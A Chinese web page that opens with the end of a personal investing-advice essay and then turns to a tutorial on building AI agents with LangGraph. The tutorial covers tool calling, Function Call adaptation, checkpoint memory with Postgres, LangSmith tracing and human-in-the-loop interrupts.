3.在涨跌的波动中获取收益。如果你投入的资金量并不多,那么就要在波动中获得收益,直白点说就是低买高卖,在资产下跌时候买入,等资产上涨再卖出。实现投资收益的最大化,也就是常说的做波段。至于什么时候跌,什么时候涨,就要分析市场,有的人看消息层面,有的人看参数层面,这个不需要别人教。那么多公开的财报,那么多交易区里的讨论,多看看,自然能找到自己的方式方法。
4.不依赖感情,做客观决策。前几天吃饭,有个朋友说,我们公司现在做的挺好,我都想买点我们公司的股票了。其实这样的行为,也不能说绝对错或者绝对正确,只能说不妥。因为在公司上班,对公司好产生了好感,而溢出的好感会成为对公司的看好,进而形成了投资决策。这是对自己钱不负责任,投资应该是客观的,而不是主观的。
更主要的,不要因为投资某项资产,带来汇报,就产生了好感。你的盈利是市场对你认知的反馈,你应该认真思考,如何能保持盈利,持续盈利,以及何时变现。投资不是结婚,你不需要对投资品负责,反过来投资品也不会对你负责。大家公平交易,愿赌服输。
5.经历牛熊,穿越周期。作为普通人开始投资,不管别人怎么描绘熊市有多惨,跌的有多狠,大概都是无感的。只有真刀真枪,真金白银的投进去,看到跌幅10%,才知道什么叫“天塌了”,正所谓金子是凉的,抓在手里是热的。就像我说的,过个马路看到账户上浮盈几万元,然后在商场吃口饭,有浮盈几万。高兴的看个电影,出来浮盈没了,浮亏了好几万,气的都想给电影打个差评。
但回头看来,牛熊的剧烈波动起伏,才是你我的投资机会,才是你我的财富密码。巴菲特所言,别人贪婪我恐惧,别人恐惧我贪婪。但换句更符合中国宝宝体质的话就是,买在无人问津时,卖在人声鼎沸处。当市场一片哀嚎的时候,就是抄底入场的时候,当大家排队开户的时候,也许就是开始减仓套现的信号。
不管是黄金白银,还是A股美股,还是比特币,每个领域都有人赚到了大钱,也有人赔的倾家荡产。更何况你以为市场只是单纯的买卖吗?还有做空做多,期货市场那更是神仙打架,每天都有造富神话。
推荐阅读:
早在年初的时候,LangChain 发布了 v0.1.0 稳定版本,版本公告里通过大量的篇幅对功能特性做了全面的介绍,最后,在公告的结尾,提到了一个不那么显眼的库,那就是 LangGraph。尽管看上去不那么显眼,但是它却非常重要,所以后来官方又 发表了一篇博客来单独介绍它,这是一个面向当前大模型领域最火热的智能体应用的库,是 LangChain 在智能体开发,特别是复杂的多智能体系统方面的一次重大尝试。
在之前的 LangChain 版本中,我们可以通过 AgentExecutor
实现智能体,在 大模型应用开发框架 LangChain 学习笔记(二) 中,我们曾经学习过 AgentExecutor
的用法,实现了包括 Zero-shot ReAct Agent、Conversational ReAct Agent、ReAct DocStore Agent、Self-Ask Agent、OpenAI Functions Agent 和 Plan and execute Agent 这些不同类型的智能体。但是这种方式过于黑盒,所有的决策过程都隐藏在 AgentExecutor
的背后,缺乏更精细的控制能力,在构建复杂智能体的时候非常受限。
LangGraph 提供了对应用程序的流程和状态更精细的控制,它允许定义包含循环的流程,并使用 状态图(State Graph) 来表示 AgentExecutor
的黑盒调用过程。
下面是 LangGraph 的关键特性:
我们从一个最简单的例子开始:
### 定义状态图
from langgraph.graph import StateGraph, MessagesState
graph_builder = StateGraph(MessagesState)
### 定义模型和 chatbot 节点
from langchain_openai import ChatOpenAI
llm = ChatOpenAI()
def chatbot(state: MessagesState):
return {"messages": [llm.invoke(state["messages"])]}
### 构建和编译图
from langgraph.graph import END, START
graph_builder.add_node("chatbot", chatbot)
graph_builder.add_edge(START, "chatbot")
graph_builder.add_edge("chatbot", END)
graph = graph_builder.compile()
### 运行
from langchain_core.messages import HumanMessage
response = graph.invoke(
{"messages": [HumanMessage(content="合肥今天天气怎么样?")]}
)
response["messages"][-1].pretty_print()
在这个例子中,我们使用 LangGraph 定义了一个只有一个节点的图:
上面的示例非常简单,还称不上什么智能体,尽管如此,它却向我们展示了 LangGraph 中的几个重要概念:
TypedDict
类型或者 Pydantic 的 BaseModel
类型;通过组合节点和边,我们可以创建复杂的循环工作流,随着节点的执行,不断更新状态。简而言之:节点用于执行动作,边用于指示下一步动作。
LangGraph 的实现采用了 消息传递(Message passing) 的机制。其灵感源自 Google 的 Pregel 和 Apache 的 Beam 系统,当一个节点完成其操作后,它会沿着一条或多条边向其他节点发送消息。这些接收节点随后执行其功能,将生成的消息传递给下一组节点,如此循环往复。
了解这些基本概念后,再回过头来看下上面的代码,脉络就很清楚了。
首先我们通过 StateGraph
定义了状态图:
graph_builder = StateGraph(MessagesState)
它接受状态的 Schema 作为构造参数,在这里直接使用了内置的 MessagesState
类,它的定义如下:
class MessagesState(TypedDict):
messages: Annotated[list[AnyMessage], add_messages]
MessagesState
很简单,仅包含一个 LangChain 格式的消息列表,一般在构造聊天机器人或示例代码时使用,在正式环境中用的并不多,因为大多数应用程序需要的状态比消息列表更为复杂。
后面的 add_messages
被称为 规约函数(Reducers),表示当节点执行后状态如何更新。当没有定义规约函数时,默认是覆盖的逻辑,比如下面这样的状态 Schema:
from typing import TypedDict
class State(TypedDict):
foo: int
bar: list[str]
假设图的输入为 {"foo": 1, "bar": ["hi"]}
,接着假设第一个节点返回 {"foo": 2}
,这时状态被更新为 {"foo": 2, "bar": ["hi"]}
,注意,节点无需返回整个状态对象,只有返回的字段会被更新,再接着假设第二个节点返回 {"bar": ["bye"]}
,这时状态将变为 {"foo": 2, "bar": ["bye"]}
。
当定义了规约函数,更新逻辑就不一样了,比如对上面的状态 Schema 稍作修改:
from typing import TypedDict, Annotated
from operator import add
class State(TypedDict):
foo: int
bar: Annotated[list[str], add]
仍然假设图的输入为 {"foo": 1, "bar": ["hi"]}
,接着假设第一个节点返回 {"foo": 2}
,这时状态被更新为 {"foo": 2, "bar": ["hi"]}
,再接着假设第二个节点返回 {"bar": ["bye"]}
,这时状态将变为 {"foo": 2, "bar": ["hi", "bye"]}
。
定义了图之后,我们接下来就要定义节点,这里我们只定义了一个 chatbot
节点:
def chatbot(state: MessagesState):
return {"messages": [llm.invoke(state["messages"])]}
节点就是普通的 Python 函数,在这里调用大模型得到回复,也可以是任意其他的逻辑,函数的入参就是上面所定义的状态对象,我们可以从状态中取出最新的值,函数的出参也是状态对象,节点执行后,根据规约函数,返回值会被更新到状态中。
定义节点后,我们就可以使用 add_node
方法将其添加到图中:
graph_builder.add_node("chatbot", chatbot)
然后再使用 add_edge
方法添加两条边,一条边从 START
节点到 chatbot
节点,一个边从 chatbot
节点到 END
结束:
graph_builder.add_edge(START, "chatbot")
graph_builder.add_edge("chatbot", END)
START
和 END
是两个特殊节点,START
表示开始节点,接受用户的输入,是整个图的入口,END
表示结束节点,执行到它之后就没有后续动作了。
值得注意的是,这里构建图的接口形式借鉴了 NetworkX 的设计理念。整个图构建好后,我们还需要调用 compile
方法编译图:
graph = graph_builder.compile()
只有编译后的图才能使用。编译是一个相当简单的步骤,它会对图的结构进行一些基本检查,比如无孤立节点等,也可以在编译时设置一些运行时参数,比如检查点、断点等。
编译后的图是一个 Runnable
对象,所以我们可以使用 invoke/ainvoke
来调用它:
response = graph.invoke(
{"messages": [HumanMessage(content="合肥今天天气怎么样?")]}
)
response["messages"][-1].pretty_print()
也可以使用 stream/astream
来调用它:
for event in graph.stream({"messages": ("user", "合肥今天天气怎么样?")}):
for value in event.values():
value["messages"][-1].pretty_print()
输出结果如下:
================================== Ai Message ==================================
对不起,我无法提供实时天气信息。您可以通过天气预报应用程序或网站来获取合肥今天的天气情况。
可以看到,现在这个程序只是对大模型进行了一层包装,还谈不上是智能体。Lilian Weng 在 LLM Powered Autonomous Agents 这篇博客中总结到,智能体至少要包含三个核心组件:规划(Planning)、记忆(Memory) 和 工具使用(Tool use)。
其中,规划和记忆好比人的大脑,可以储存历史知识,对问题进行分析思考,现在的大模型都或多或少具备这样的能力;工具使用好比人的五官和手脚,可以感知世界,与外部源(例如知识库或环境)进行交互,以获取额外信息,并执行动作。工具的使用是人类区别于其他动物的重要特征,也是智能体区别于其他应用程序的重要特征。
这一节我们将对上面的 LangGraph 示例做些修改,使其具备工具调用的能力。首先,我们定义一个天气查询的工具:
### 定义工具
from pydantic import BaseModel, Field
from langchain_core.tools import tool
class GetWeatherSchema(BaseModel):
city: str = Field(description = "城市名称,如合肥、北京、上海等")
date: str = Field(description = "日期,如今天、明天等")
@tool(args_schema = GetWeatherSchema)
def get_weather(city: str, date: str):
"""查询天气"""
if city == "合肥":
return "今天晴天,气温30度。"
return "今天有小雨,气温25度。"
这里使用了 LangChain 的 @tool
注解将一个方法定义成工具,并使用了 pydantic
对工具的参数做一些说明,在 这篇博客 中我还介绍了一些其他定义工具的方法,也可以使用。
接下来,和之前的示例一样,我们仍然需要定义一个状态图:
### 定义状态图
from langgraph.graph import StateGraph, MessagesState
graph_builder = StateGraph(MessagesState)
再接下来定义节点:
### 定义 tools 节点
from langgraph.prebuilt import ToolNode
tools = [get_weather]
tool_node = ToolNode(tools)
### 定义模型和 chatbot 节点
from langchain_openai import ChatOpenAI
llm = ChatOpenAI()
llm = llm.bind_tools(tools)
def chatbot(state: MessagesState):
return {"messages": [llm.invoke(state["messages"])]}
这和之前的示例有两点区别:
tools
节点,我们使用 LangGraph 内置的 ToolNode
来定义,一个工具节点中可以包含多个工具方法;chatbot 节点
中,我们的大模型需要绑定这些工具,通过 llm.bind_tools()
实现;再接下来,将节点添加到图中,并在节点和节点之间连上线:
### 构建和编译图
from langgraph.graph import END, START
from langgraph.prebuilt import tools_condition
graph_builder.add_node("chatbot", chatbot)
graph_builder.add_node("tools", tool_node)
graph_builder.add_edge(START, "chatbot")
graph_builder.add_edge("tools", 'chatbot')
graph_builder.add_conditional_edges("chatbot", tools_condition)
graph = graph_builder.compile()
构建出的图如下所示:
可以看到这里有两条比较特别的连线,是虚线,这被称为 条件边(Conditional Edges),LangGraph 通过调用某个函数来确定下一步将执行哪个节点,这里使用了内置的 tools_condition
函数,当大模型返回 tool_calls
时执行 tools
节点,否则则执行 END
节点。
此时,一个简单的智能体就构建好了,我们再次运行之:
### 运行
for event in graph.stream({"messages": ("user", "合肥今天天气怎么样?")}):
for value in event.values():
value["messages"][-1].pretty_print()
运行结果如下:
================================== Ai Message ==================================
Tool Calls:
get_weather (call_Jjp7SNIQkJWpLUdTL4uL1h1O)
Call ID: call_Jjp7SNIQkJWpLUdTL4uL1h1O
Args:
city: 合肥
date: 今天
================================= Tool Message =================================
Name: get_weather
今天晴天,气温30度。
================================== Ai Message ==================================
合肥今天是晴天,气温30度。
完整的代码 参考这里。
从上面的运行结果中可以看出,用户消息首先进入 chatbot
节点,也就是调用大模型,大模型返回 tool_calls
响应,因此进入 tools
节点,接着调用我们定义的 get_weather
函数,得到合肥的天气,然后再次进入 chatbot
节点,将函数结果送给大模型,最后大模型就可以回答出用户的问题了。
这个调用的流程图如下:
OpenAI 官方文档 中有一张更详细的流程图:
其中要注意的是,第二次调用大模型时,可能仍然会返回 tool_calls
响应,这时可以循环处理。
为了更好的理解 LangGraph 是如何调用工具的,我们不妨深入接口层面一探究竟。总的来说,LangGraph 利用大模型的 Tool Call 功能,实现动态的选择工具,提取工具参数,执行工具函数,并根据工具运行结果回答用户问题。
有很多大模型具备 Tool Call 功能,比如 OpenAI、Anthropic、Gemini、Mistral AI 等,我们可以通过 llm.bind_tools(tools)
给大模型绑定可用的工具,实际上,绑定工具就是在请求大模型的时候,在入参中多加一个 tools
字段:
{
"model": "gpt-4",
"messages": [
{
"role": "user",
"content": "合肥今天天气怎么样?"
}
],
"stream": false,
"n": 1,
"temperature": 0.7,
"tools": [
{
"type": "function",
"function": {
"name": "get_weather",
"description": "查询天气",
"parameters": {
"type": "object",
"properties": {
"city": {
"type": "string",
"description": "城市名称,如合肥、北京、上海等"
},
"date": {
"type": "string",
"description": "日期,如今天、明天等"
}
},
"required": [
"city",
"date"
]
}
}
}
],
"tool_choice": "auto"
}
这时大模型返回的结果类似于下面这样,也就是上面所说的 tool_calls
响应:
{
"id": "chatcmpl-ABDVbXhhQLF8yN3xZV5FpW10vMQpP",
"object": "chat.completion",
"created": 1727236899,
"model": "gpt-4-0613",
"choices": [
{
"index": 0,
"message": {
"role": "assistant",
"content": "",
"tool_calls": [
{
"id": "call_aZaHgkaSmzq7kWX5f73h7nGg",
"type": "function",
"function": {
"name": "get_weather",
"arguments": "{\n \"city\": \"合肥\",\n \"date\": \"今天\"\n}"
}
}
]
},
"finish_reason": "tool_calls"
}
],
"usage": {
"prompt_tokens": 91,
"completion_tokens": 25,
"total_tokens": 116
},
"system_fingerprint": ""
}
我们只需要判断大模型返回的结果中是否有 tool_calls
字段就能知道下一步是不是要调用工具,这其实就是 tools_condition
这个条件函数的逻辑:
def tools_condition(
state: Union[list[AnyMessage], dict[str, Any]],
) -> Literal["tools", "__end__"]:
if isinstance(state, list):
ai_message = state[-1]
elif messages := state.get("messages", []):
ai_message = messages[-1]
else:
raise ValueError(f"No messages found in input state to tool_edge: {state}")
if hasattr(ai_message, "tool_calls") and len(ai_message.tool_calls) > 0:
return "tools"
return "__end__"
tools_condition
函数判断 messages
中如果有 tool_calls
字段且不为空,则返回 tools
,也就是工具节点,否则返回 __end__
也就是结束节点。
工具节点的执行,我们使用的是 LangGraph 内置的 ToolNode
类,它的实现比较复杂,感兴趣的可以翻看下它的源码,但是大体流程可以用下面几行代码表示:
tools_by_name = {tool.name: tool for tool in tools}
def tool_node(state: dict):
result = []
for tool_call in state["messages"][-1].tool_calls:
tool = tools_by_name[tool_call["function"]["name"]]
observation = tool.invoke(tool_call["function"]["arguments"])
result.append(ToolMessage(content=observation, tool_call_id=tool_call["id"]))
return {"messages": result}
工具节点遍历 tool_calls
数组,根据大模型返回的函数名 name
和函数参数 arguments
依次调用工具,并将工具结果以 ToolMessage
形式附加到 messages
中。这样再次进入 chatbot
节点时,向大模型发起的请求就如下所示(多了一个角色为 tool
的消息):
{
"model": "gpt-4",
"messages": [
{
"role": "user",
"content": "合肥今天天气怎么样?"
},
{
"role": "assistant",
"content": "",
"tool_calls": [
{
"id": "call_aZaHgkaSmzq7kWX5f73h7nGg",
"type": "function",
"function": {
"name": "get_weather",
"arguments": "{\n \"city\": \"合肥\",\n \"date\": \"今天\"\n}"
}
}
]
},
{
"role": "tool",
"content": "晴,27度",
"tool_call_id": "call_aZaHgkaSmzq7kWX5f73h7nGg"
}
],
"stream": false,
"n": 1,
"temperature": 0.7,
"tools": [
...
],
"tool_choice": "auto"
}
大模型返回消息如下:
{
"id": "chatcmpl-ABDeUc21mx3agWVPmIEHndJbMmYTP",
"object": "chat.completion",
"created": 1727237450,
"model": "gpt-4-0613",
"choices": [
{
"index": 0,
"message": {
"role": "assistant",
"content": "合肥今天的天气是晴朗,气温为27度。"
},
"finish_reason": "stop"
}
],
"usage": {
"prompt_tokens": 129,
"completion_tokens": 24,
"total_tokens": 153
},
"system_fingerprint": ""
}
此时 messages
中没有 tool_calls
字段,因此,进入 END
节点,这一轮的会话就结束了。
经过上面的学习,我们知道,LangGraph 默认会使用大模型接口的 Tool Call 功能。Tool Call 是 OpenAI 推出 Assistants API 时引入的一种新特性,它相比于传统的 Function Call 来说,控制更灵活,比如支持一次返回多个函数,从而可以并发调用。
目前大多数大模型产商的接口都已经紧跟 OpenAI 的规范,推出了 Tool Call 功能,但是也有部分产商或开源模型只支持 Function Call,对于这些模型如何在 LangGraph 中适配呢?
Function Call 和 Tool Call 的区别在于,请求的参数中是 functions
而不是 tools
,如下所示:
{
"messages": [
{
"role": "user",
"content": "合肥今天天气怎么样?"
}
],
"model": "gpt-4",
"stream": false,
"n": 1,
"temperature": 0.7,
"functions": [
{
"name": "get_weather",
"description": "查询天气",
"parameters": {
"properties": {
"city": {
"description": "城市名称,如合肥、北京、上海等",
"type": "string"
},
"date": {
"description": "日期,如今天、明天等",
"type": "string"
}
},
"required": [
"city",
"date"
],
"type": "object"
}
}
]
}
LangChain 提供了 llm.bind_functions(tools)
方法来给大模型绑定可用的工具,这里的工具定义和 llm.bind_tools(tools)
是一模一样的:
### 定义模型和 chatbot 节点
from langchain_openai import ChatOpenAI
llm = ChatOpenAI(model="gpt-4")
llm = llm.bind_functions(tools)
def chatbot(state: MessagesState):
return {"messages": [llm.invoke(state["messages"])]}
大模型返回结果如下,messages
中会包含 function_call
字段而不是 tool_calls
:
{
"id": "chatcmpl-ACcnVWbuWbyxuO0eWqQrKBE0dB921",
"object": "chat.completion",
"created": 1727572437,
"model": "gpt-4-0613",
"choices": [
{
"index": 0,
"message": {
"role": "assistant",
"content": "",
"function_call": {
"name": "get_weather",
"arguments": "{\"city\":\"合肥\",\"date\":\"今天\"}"
}
},
"finish_reason": "function_call"
}
],
"usage": {
"prompt_tokens": 91,
"completion_tokens": 21,
"total_tokens": 112
},
"system_fingerprint": "fp_5b26d85e12"
}
因此我们条件边的判断函数就不能以 tool_calls
来作为判断依据了,我们对其稍加修改:
def tools_condition(
state: MessagesState,
) -> Literal["tools", "__end__"]:
if isinstance(state, list):
ai_message = state[-1]
elif messages := state.get("messages", []):
ai_message = messages[-1]
else:
raise ValueError(f"No messages found in input state to tool_edge: {state}")
if "function_call" in ai_message.additional_kwargs:
return "tools"
return "__end__"
注意 LangChain 将
function_call
放在消息的额外字段additional_kwargs
里。
最后是工具节点的实现,上面我们使用的是 LangGraph 内置的 ToolNode
类,它的实现比较复杂,要考虑工具的异步执行和并发执行等情况,我们不用实现和它完全一样的功能。最简单的做法是自定义一个 BasicToolNode
类,并实现一个 __call__
方法:
import json
from langchain_core.messages import FunctionMessage
class BasicToolNode:
def __init__(self, tools: list) -> None:
self.tools_by_name = {tool.name: tool for tool in tools}
def __call__(self, inputs: dict):
if messages := inputs.get("messages", []):
message = messages[-1]
else:
raise ValueError("No message found in input")
outputs = []
if "function_call" in message.additional_kwargs:
tool_call = message.additional_kwargs["function_call"]
tool_result = self.tools_by_name[tool_call["name"]].invoke(
json.loads(tool_call["arguments"])
)
outputs.append(
FunctionMessage(
content=json.dumps(tool_result),
name=tool_call["name"]
)
)
return {"messages": outputs}
tools = [get_weather]
tool_node = BasicToolNode(tools=tools)
我们从 function_call
字段中提取出工具名称 name
和工具参数 arguments
,然后调用相应的工具,最后最重要的一步是将工具调用结果包装成一个 FunctionMessage
并附加到 messages
中。当程序流程再次进入 chatbot
节点时,向大模型发起的请求就如下所示(多了一个角色为 function
的消息):
{
"messages": [
{
"role": "user",
"content": "合肥今天天气怎么样?"
},
{
"role": "assistant",
"content": "",
"function_call": {
"name": "get_weather",
"arguments": "{\"city\":\"合肥\",\"date\":\"今天\"}"
}
},
{
"role": "function",
"content": "晴,27度",
"name": "get_weather"
}
],
"model": "gpt-4",
"stream": false,
"n": 1,
"temperature": 0.7,
"functions": [
...
]
}
至此,我们就通过 Function Call 实现了 LangGraph 的调用逻辑,完整的代码 参考这里。
可以看出其中有三步是关键:
llm.bind_tools()
或 llm.bind_functions()
实现,对于不支持 Function Call 的模型,甚至可以通过自定义 Prompt 来实现;tool_calls
或 function_call
字段,判断是否需要使用工具;我们的智能体现在可以使用工具来回答用户的问题,但它不记得先前互动的上下文,这限制了它进行多轮对话的能力。比如我们接着上面的问题后面再问一个与之相关问题:
for event in graph.stream({"messages": ("user", "合肥今天天气怎么样?")}):
for value in event.values():
value["messages"][-1].pretty_print()
for event in graph.stream({"messages": ("user", "要带伞吗?")}):
for value in event.values():
value["messages"][-1].pretty_print()
智能体的回复如下:
================================== Ai Message ==================================
请问您在哪个城市以及哪一天需要查询天气情况呢?
很显然,这个智能体还不具备记忆功能,而上一节我们曾提到,记忆(Memory) 是智能体必须具备的三大核心组件之一,所以这一节我们就来学习如何使用 LangGraph 实现它。
LangGraph 通过 持久化检查点(persistent checkpointing)) 实现记忆。首先,我们在编译图时设置检查点(checkpointer
)参数:
from langgraph.checkpoint.memory import MemorySaver
memory = MemorySaver()
graph = graph_builder.compile(checkpointer=memory)
然后在调用图时提供一个额外的线程 ID 配置:
config = {"configurable": {"thread_id": "1"}}
for event in graph.stream({"messages": ("user", "合肥今天天气怎么样?")}, config):
for value in event.values():
value["messages"][-1].pretty_print()
for event in graph.stream({"messages": ("user", "要带伞吗?")}, config):
for value in event.values():
value["messages"][-1].pretty_print()
LangGraph 在第一次运行时自动保存状态,当再次使用相同的线程 ID 调用图时,图会加载其保存的状态,使得智能体可以从停下的地方继续。这一次,智能体的回复如下:
================================== Ai Message ==================================
不需要带伞,今天是晴天哦。
可以看出智能体记住了上一轮的对话内容,现在我们可以和它进行多轮对话了。
在上面的例子中,我们使用了 MemorySaver
这个检查点,这是一个简单的内存检查点,所有的对话历史都保存在内存中。对于一个正式的应用来说,我们需要将对话历史持久化到数据库中,可以考虑使用 SqliteSaver
或 PostgresSaver
等,LangGraph 也支持自定义检查点,实现其他数据库的持久化,比如 MongoDB 或 Redis。
这一节我们将使用 PostgresSaver
来将智能体的记忆持久化到数据库。
首先,安装 PostgresSaver
所需的依赖:
$ pip3 install "psycopg[binary,pool]" langgraph-checkpoint-postgres
然后使用 Docker 启动一个 Postgre 实例:
$ docker run --name my-postgres -e POSTGRES_PASSWORD=123456 -p 5432:5432 -d postgres:latest
然后将上一节代码中的 MemorySaver
检查点替换成 PostgresSaver
如下:
from langgraph.checkpoint.postgres import PostgresSaver
DB_URI = "postgresql://postgres:123456@localhost:5432/postgres?sslmode=disable"
with PostgresSaver.from_conn_string(DB_URI) as checkpointer:
# 第一次运行时初始化
checkpointer.setup()
graph = graph_builder.compile(checkpointer=checkpointer)
config = {"configurable": {"thread_id": "1"}}
for event in graph.stream({"messages": ("user", "合肥今天天气怎么样?")}, config):
for value in event.values():
value["messages"][-1].pretty_print()
for event in graph.stream({"messages": ("user", "要带伞吗?")}, config):
for value in event.values():
value["messages"][-1].pretty_print()
第一次运行时,我们需要使用 checkpointer.setup()
来初始化数据库,新建必须的库和表,后续运行可以省略这一步。后面的代码和上一节是完全一样的,设置线程 ID 进行两轮问答,只不过现在问答记录存到数据库里了。感兴趣的同学可以打开 checkpoints
表看看数据结构:
注意这里我们直接基于连接字符串创建连接,这种方法简单方便,非常适用于快速测试验证,我们也可以创建一个 Connection
对象,设置一些额外的连接参数:
from psycopg import Connection
connection_kwargs = {
"autocommit": True,
"prepare_threshold": 0,
}
with Connection.connect(DB_URI, **connection_kwargs) as conn:
checkpointer = PostgresSaver(conn)
graph = graph_builder.compile(checkpointer=checkpointer)
...
在正式环境下,我们往往会复用数据库的连接,这时可以使用连接池 ConnectionPool
对象:
from psycopg_pool import ConnectionPool
with ConnectionPool(conninfo=DB_URI, max_size=20, kwargs=connection_kwargs) as pool:
checkpointer = PostgresSaver(pool)
graph = graph_builder.compile(checkpointer=checkpointer)
...
当智能体的工具和节点不断增多,我们将会面临大量的问题,比如运行结果出乎意料,智能体出现死循环,反应速度比预期慢,运行花费了多少令牌,等等,这时如何调试智能体将变成一件棘手的事情。
一种简单的方法是使用 这里 介绍的包装类:
class Wrapper:
''' 包装类,用于调试 OpenAI 接口的原始入参和出参
'''
def __init__(self, wrapped_class):
self.wrapped_class = wrapped_class
def __getattr__(self, attr):
original_func = getattr(self.wrapped_class, attr)
def wrapper(*args, **kwargs):
print(f"Calling function: {attr}")
print(f"Arguments: {args}, {kwargs}")
result = original_func(*args, **kwargs)
print(f"Response: {result}")
return result
return wrapper
from langchain_openai import ChatOpenAI
llm = ChatOpenAI(model="gpt-4")
llm.client = Wrapper(llm.client)
llm = llm.bind_functions(tools)
这种方法相当于给大模型接口增加了一个切面,用于记录接口的原始入参和出参,方便我们调试。
另一种更专业的做法是使用 LangSmith。
LangSmith 是 LangChain 开发的一个用于构建生产级 LLM 应用程序的平台,允许你调试、测试、评估和监控基于任何 LLM 框架构建的程序,无论是 LangChain 开发的链,还是 LangGraph 开发的智能体。
要使用 LangSmith,我们首先登录平台并注册一个账号,然后进入 Settings -> API Keys
页面,点击 Create API Key
按钮创建一个 API Key,然后设置如下环境变量:
export LANGCHAIN_TRACING_V2=true
export LANGCHAIN_API_KEY=lsv2_pt_xxx
export LANGCHAIN_ENDPOINT=https://api.smith.langchain.com
export LANGCHAIN_PROJECT=default
其中,LANGCHAIN_TRACING_V2=true
表示开启日志跟踪模式;LANGCHAIN_API_KEY
就是上一步创建的 API Key;LANGCHAIN_ENDPOINT
表示 LangSmith 端点地址,一般来说不用配置,由于 LangSmith 是一个开源项目,我们可以私有化部署,这时才需要配置;LANGCHAIN_PROJECT
表示将日志保存到哪个 LangSmith 项目,如果不设置,默认使用的 default
项目。
设置好环境变量,整个工作就完成了,代码无需任何变动,完全没有侵入性。此时,我们再次运行之前的代码,就可以在 LangSmith 平台上看到相应的记录了:
Runs
列表表示智能体每次的运行记录,也可以切换到 Threads
列表查看所有的会话线程:
点击进入记录详情,可以很直观地看到 LangGraph 的调用顺序,每一步的耗时和令牌数一目了然:
每一步还可以继续展开,查看该步骤更为详细的入参和出参,便于我们排查问题。
除了调试,我们还可以在 LangSmith 平台上将某一步的结果添加到 测试数据集(Dataset) 或 标注队列(Annotation Queue) 用于后续的测试和评估。还可以对 LLM 的调用情况进行监控分析:
通过检查点我们实现了智能体的记忆功能,从而可以让智能体支持多轮对话。实际上,检查点远比我们想象的更强大,通过它可以在任何时候保存和恢复智能体运行过程中的状态,从而实现错误恢复、人机交互、时间旅行等高级特性。
基于 LLM 的应用程序可能会不可靠,有时需要人类的输入才能成功完成任务;对于某些操作,比如预定机票、支付订单等,可能在运行之前要求人工批准,以确保一切都按照预期运行。LangGraph 支持一种被称为 Human-in-the-loop 的工作流程,允许我们在执行工具节点之前停下来,等待人类的介入。
首先我们将上面代码中的工具改为 book_ticket
,用于预定机票:
class BookTicketSchema(BaseModel):
from_city: str = Field(description = "出发城市名称,如合肥、北京、上海等")
to_city: str = Field(description = "到达城市名称,如合肥、北京、上海等")
date: str = Field(description = "日期,如今天、明天等")
@tool(args_schema = BookTicketSchema)
def book_ticket(from_city: str, to_city: str, date: str):
"""预定机票"""
return "您已成功预定 %s 从 %s 到 %s 的机票" % (date, from_city, to_city)
再将用户的问题改为:
for event in graph.stream({"messages": ("user", "帮我预定一张明天从合肥到北京的机票")}, config):
for value in event.values():
value["messages"][-1].pretty_print()
运行得到结果:
================================== Ai Message ==================================
Tool Calls:
book_ticket (call_WGzlRnbPXbN8YvwjIkIMNDS1)
Call ID: call_WGzlRnbPXbN8YvwjIkIMNDS1
Args:
date: 明天
from_city: 合肥
to_city: 北京
================================= Tool Message =================================
Name: book_ticket
您已成功预定 明天 从 合肥 到 北京 的机票
================================== Ai Message ==================================
您已成功预定 明天从合肥到北京的机票。祝您旅途愉快!如果还需要帮助,请随时告诉我。
接下来我们稍微对代码做些修改,在编译图的时候设置 interrupt_before
参数:
graph = graph_builder.compile(
checkpointer=memory,
interrupt_before=["tools"]
)
这样在执行到工具节点时,整个流程就会中断,重新运行结果如下:
================================== Ai Message ==================================
Tool Calls:
book_ticket (call_1jQtm6czoPrNhbRIR5FzyN47)
Call ID: call_1jQtm6czoPrNhbRIR5FzyN47
Args:
date: 明天
from_city: 合肥
to_city: 北京
可以看到工具并没有执行,此时我们可以使用 graph.get_state(config)
获取流程图的当前状态,从当前状态里我们可以拿到上一步的消息和下一步将要执行的节点:
snapshot = graph.get_state(config)
print(snapshot.values["messages"][-1])
print(snapshot.next)
向用户展示当前状态,以便用户对工具的执行进行确认,如果用户确认无误,则继续流程图的运行,直接传入 None
即可:
### 继续运行
for event in graph.stream(None, config):
for value in event.values():
value["messages"][-1].pretty_print()
运行结果如下:
================================= Tool Message =================================
Name: book_ticket
您已成功预定 明天 从 合肥 到 北京 的机票
================================== Ai Message ==================================
好的,已为您成功预定一张明天从合肥到北京的机票。
在上一节中,我们学习了如何在执行工具之前中断,以便我们可以检查和确认,如果确认没问题,就继续运行,但如果确认有问题,这时我们就要手动更新状态,改变智能体的行为方向。
书接上回,我们仍然使用机票预定的例子,假设用户确认时,希望将日期从明天改为后天。我们可以使用下面的代码:
snapshot = graph.get_state(config)
existing_message = snapshot.values["messages"][-1]
new_tool_call = existing_message.tool_calls[0].copy()
new_tool_call["args"]["date"] = "后天"
new_message = AIMessage(
content=existing_message.content,
tool_calls=[new_tool_call],
# Important! The ID is how LangGraph knows to REPLACE the message in the state rather than APPEND this messages
id=existing_message.id,
)
graph.update_state(config, {"messages": [new_message]})
这里我们首先获取当前状态,从当前状态中获取最后一条消息,我们知道最后一条消息是 tool_call
消息,于是将 tool_call
复制了一份,并修改 date
参数,然后重新构造 AIMessage
对象,并使用 graph.update_state()
来更新状态。值得注意的是,AIMessage
中的 id 参数非常重要,LangGraph 会从状态中找到和 id 匹配的消息,如果找到就更新,否则就是新增。
这样就实现了状态的更新,我们传入 None 参数继续运行之:
### 继续运行
for event in graph.stream(None, config):
for value in event.values():
value["messages"][-1].pretty_print()
运行结果如下:
================================= Tool Message =================================
Name: book_ticket
您已成功预定 后天 从 合肥 到 北京 的机票
================================== Ai Message ==================================
您已成功预定 后天从合肥到北京的机票。祝您旅途愉快!如果还需要帮助,请随时告诉我。
除了修改工具的参数之外,LangGraph 还支持我们修改状态中的任意消息,比如手动构造工具执行的结果以及大模型的回复:
snapshot = graph.get_state(config)
existing_message = snapshot.values["messages"][-1]
new_messages = [
# The LLM API expects some ToolMessage to match its tool call. We'll satisfy that here.
ToolMessage(content="预定失败", tool_call_id=existing_message.tool_calls[0]["id"]),
# And then directly "put words in the LLM's mouth" by populating its response.
AIMessage(content="预定失败"),
]
graph.update_state(config, {"messages": new_messages})
完整的代码 参考这里,更多内容,参考 LangGraph 文档:
官网文档提供了很多 LangGraph 的应用场景,包括 聊天机器人、RAG、智能体架构、评估分析等。
聊天机器人是智能体最常见的应用场景。
